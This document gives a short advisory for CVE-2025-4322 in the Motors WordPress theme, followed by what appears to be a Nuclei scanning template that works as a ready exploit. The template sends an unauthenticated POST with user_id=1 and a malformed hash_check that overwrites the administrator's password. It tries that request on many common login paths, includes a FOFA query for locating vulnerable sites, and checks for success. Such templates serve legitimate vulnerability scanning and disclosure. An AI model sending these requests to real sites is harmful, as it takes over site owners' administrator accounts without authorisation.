The Motors theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 5.6.67. This is due to the theme not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user passwords, including those of administrators, and leverage that to gain access to their account.
PoC代码[已公开]
id: CVE-2025-4322
info:
name: Motors <= 5.6.67 - Unauthenticated Privilege Escalation via Password Update/Account Takeover
author: DhiyaneshDK
severity: critical
description: |
The Motors theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 5.6.67. This is due to the theme not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user passwords, including those of administrators, and leverage that to gain access to their account.
reference:
- http://themeforest.net/item/motors-car-dealership-wordpress-theme/13987211
- https://www.wordfence.com/threat-intel/vulnerabilities/id/61820ca5-5548-4155-b350-df3db1bc1661?source=cve
- https://github.com/Yucaerin/CVE-2025-4322
- https://github.com/maximo896/CVE-2025-4322
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-4322
cwe-id: CWE-620
epss-score: 0.26445
epss-percentile: 0.96148
metadata:
fofa-query: body="/wp-content/themes/motors/style.css"
tags: cve,cve2025,motor,intrusive,wordpress,wp-theme,wp,vkev
variables:
password: "{{rand_text_alphanumeric(12)}}"
http:
- raw:
- |
POST {{paths}}/?user_id=1&hash_check=%25C0 HTTP/2
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
stm_new_password={{password}}
payloads:
paths:
- "/login"
- "/loginregister"
- "/login-register"
- "/my-account"
- "/account"
- "/signin"
- "/sign-in"
- "/register"
- "/auth"
- "/user/login"
- "/user/signin"
- "/forgot-password"
- "/reset-password"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "Enter new password","stm-validation-message")'
condition: and
# digest: 4b0a004830460221008ae378512e0ad58fab050449dc37e9a6d8d903e970138c29f5199595f16dff3e022100a609ce65b95dcbd215b57a08dea5cff1e7d8a211310998b4a98acd12807bf8a3:922c64590222798bb761d5b6d8e72950